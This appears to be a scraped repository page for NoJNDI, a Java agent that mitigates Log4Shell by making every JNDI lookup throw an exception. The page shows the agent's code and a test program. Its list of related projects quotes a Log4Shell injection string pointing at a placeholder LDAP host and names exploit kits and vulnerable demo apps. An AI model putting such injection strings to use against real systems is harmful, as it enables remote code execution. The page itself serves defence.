Disables JNDI lookup globally using Java agent instrumentation, mitigation for Log4Shell attacks.

Related tags

Security nojndi
Overview

NoJNDI

This is a simple proof of concept agent that disables JNDI lookups globally across the JVM.

This is useful for mitigating the Log4Shell attack, but is also applicable to any situation that may be doing unsafe ctx.lookup calls on unvalidated input.

Running

java -javaagent:nojndi-agent-0.1.0.jar MyApp

How It Works

The javax.naming.spi.NamingManager class is responsible for setting an initial context, using the setInitialContextFactoryBuilder method. Once installed, the builder cannot be replaced.

The agent immediately sets this in the premain method to return an InitialContextFactory that always throws a NoPermissionException.

A program running with this agent will do attempt to do a blind lookup:

public class Main {

    public static void main(String[] args) throws Exception {
        System.out.println("About to try JNDI lookup!");
        try {
            Context ctx = new InitialContext();
            String datasource = "ldap://localhost:389";
            ctx.lookup(datasource);

            // Happens on normal circumstances...
            System.err.println("ATTACK SUCCEEDED: JNDI lookup call!");
        } catch (NamingException e) {
            System.out.println("ATTACK FAILED: " + e.getMessage());
        } catch (Exception e) {
            System.err.println("PROGRAM FAILED: " + e.getMessage());
        }
    }

}

When doing a lookup, InitialContext will find the default initial context, which calls NamingManager.getInitialContext:

public class InitialContext implements Context {
    // ...
    public Object lookup(String name) throws NamingException {
        return getURLOrDefaultInitCtx(name).lookup(name);
    }

    protected Context getURLOrDefaultInitCtx(Name name)
        throws NamingException {
        if (NamingManager.hasInitialContextFactoryBuilder()) {
            return getDefaultInitCtx();
        }
        if (name.size() > 0) {
            String first = name.get(0);
            String scheme = getURLScheme(first);
            if (scheme != null) {
                Context ctx = NamingManager.getURLContext(scheme, myProps);
                if (ctx != null) {
                    return ctx;
                }
            }
        }
        return getDefaultInitCtx();
    }

    protected Context getDefaultInitCtx() throws NamingException{
        if (!gotDefault) {
            defaultInitCtx = NamingManager.getInitialContext(myProps);
            gotDefault = true;
        }
        if (defaultInitCtx == null)
            throw new NoInitialContextException();

        return defaultInitCtx;
    }
}

And then the NamingManager.getInitialContext calls getInitialContextFactoryBuilder as you'd expect:

public class NamingManager {
    public static Context getInitialContext(Hashtable<?,?> env)
            throws NamingException {
        ClassLoader loader;
        InitialContextFactory factory = null;

        InitialContextFactoryBuilder builder = getInitialContextFactoryBuilder();
        if (builder == null) {
            // ...object factory stuff not relevant
        } else {
            factory = builder.createInitialContextFactory(env);
        }

        return factory.getInitialContext(env);
    }
}

From this point, it goes to the agent installed NoPermissionsInitialContextFactory which nixes the operation.

public class NoJndiAgent {
    private NoJndiAgent() {
    }

    public static void premain(String arg, Instrumentation inst) throws Exception {
        NamingManager.setInitialContextFactoryBuilder(env -> new NoPermissionsInitialContextFactory());
    }

    public static class NoPermissionsInitialContextFactory implements InitialContextFactory {
        @Override
        public Context getInitialContext(Hashtable<?, ?> environment) throws NamingException {
            throw new NoPermissionException("JNDI is disabled!");
        }
    }
}

Why It Works

JNDI is complicated in its internals, but practically speaking, JNDI is used for LDAP access. If you're not using LDAP, you don't need JNDI. Nuke it.

But I Do Need JNDI!

There is a subset of Java applications that do need JNDI, mostly for LDAP authentication through JAAS.

In this situation, I think probably the best thing you can do is specify your own LDAP context factory to replace com.sun.jndi.ldap.LdapCtxFactory and enforce some whitelisting, and disable every other kind of lookup.

Failing that, you can at least override JNDI to integrate it into your logging and security infrastructure starting from here.

You might also like...

Log4Shell sample vulnerable application (CVE-2021-44228)

Log4Shell sample vulnerable application (CVE-2021-44228)

Dec 26, 2021

CVE-2021-44228 (Log4Shell) Proof of Concept

CVE-2021-44228 (Log4Shell) Proof of Concept

CVE-2021-44228 (Log4Shell) Proof of Concept Apache Log4j2 =2.14.1 JNDI features used in configuration, log messages, and parameters do not protect ag

Mar 18, 2022

An LDAP RCE exploit for CVE-2021-44228 Log4Shell

log4j-poc An LDAP RCE exploit for CVE-2021-44228 Log4Shell Description The demo Tomcat 8 server on port 8080 has a vulnerable app (log4shell) deployed

Dec 10, 2022

Log4Shell Zero-Day Exploit Proof of Concept

Log4Shell Zero-Day Exploit Proof of Concept

Log4Shell Zero-Day Exploit if attacker manage to log this string ${jndi:ldap://someaddresshere/param1=value1} to log4j it somehow loads the class/java

Oct 9, 2022

Contains all my research and content produced regarding the log4shell vulnerability

Contains all my research and content produced regarding the log4shell vulnerability

Objective Contains all my research and content produced regarding the log4shell vulnerability. Content Folder "analysis" Contain the information that

Oct 28, 2022

PCRE RegEx matching Log4Shell CVE-2021-44228 IOC in your logs

PCRE RegEx matching Log4Shell CVE-2021-44228 IOC in your logs

Log4Shell-Rex The following RegEx was written in an attempt to match indicators of a Log4Shell (CVE-2021-44228 and CVE-2021-45046) exploitation. If yo

Nov 9, 2022

Java Project based on Java and Encryption using Cryptography algorithms

Symmetric-Encryption-Cryptography-in-Java Java Project based on Java and Encryption using Cryptography algorithms Project Aim Develop Java program to

Feb 3, 2022

Simple API for using Java Reflection

Reflector По поводу багов или идей для данного репозитория можно писать в Discord или ВК(обратная связь) Обратная связь Discord: UnLegit#6190 ВКонтакт

Jan 25, 2022

Employee Management System using Spring Boot, Spring Security, Thymeleaf and MySQL database.

Employee Management System Employee Management System using Spring Boot, Spring Security, Thymeleaf and MySQL database. YouTube Video Series Employee

Jan 1, 2023
Owner
Will Sargent
Hello world.
Will Sargent
A mitigation for CVE-2021-44228 (log4shell) that works by patching the vulnerability at runtime. (Works with any vulnerable java software, tested with java 6 and newer)

Log4jPatcher A Java Agent based mitigation for Log4j2 JNDI exploits. This agent employs 2 patches: Disabling all Lookup conversions (on supported Log4

null 45 Dec 16, 2022
Log4shell-hunter - Scanner that scans local files for log4shell vulnerability

Log4shell-hunter - Scanner that scans local files for log4shell vulnerability. Does bytecode analysis so it does not rely on metadata. Will find vulnerable log4j even it has been self-compiled/repackaged/shaded/nested (e.g. uberjar, fatjar) and even obfuscated.

Peter Fichtner 5 Feb 27, 2022
TapJacking Attacks Demo

TapJacking-Attacks "TapJacking Attacks, a thorough guide" Demostration Code Part 1 https://valsamaras.medium.com/tapjacking-attacks-a-thorough-guide-2

+Ch0pin 17 Oct 29, 2022
log4j2-scan is a single binary command-line tool for CVE-2021-44228 vulnerability scanning and mitigation patch

log4j2-scan is a single binary command-line tool for CVE-2021-44228 vulnerability scanning and mitigation patch. It also supports nested JAR file scan

Logpresso GitHub 839 Dec 29, 2022
The samples of RMI&JNDI Attack

RMI-JNDI-Attack-Samples The samples of RMI&JNDI attack RMI Client Attack Server Server Attack Client Registry Attack Client Registry Attack Server Cli

F4DE@Syclover 7 Aug 24, 2022
JNDI-Exploit-Kit

JNDI-Exploit-Kit Disclaimer This is a forked modified version of the great exploitation tool created by @welk1n

puckie 20 Dec 7, 2022
Log4Shell RCE exploit using a gadget class. Not dependent on an old JDK version to work.

Log4Shell RCE exploit using a gadget class. Not dependent on an old JDK version to work.

null 8 Jan 4, 2022
A Basic Java Application Vulnerable to the Log4Shell RCE

This is a basic, minimal, intentionally vulnerable Java web application including a version (2.14.1) of the log4j library affected by the infamous log4shell (CVE-2021-44228) vulnerability.

null 31 Nov 9, 2022
JVM runtime class loading protection agent.(JVM类加载保护agent)

JVM类加载监控agent,可配置黑名单,禁止恶意类加载(包括jsp webshell)

threedr3am 43 Sep 28, 2022
Huntress Log4Shell Testing Application

Huntress Log4Shell Testing Application This repo holds the source for the HTTP and LDAP servers hosted here. Both services are hosted under one Java a

Huntress Labs 359 Nov 25, 2022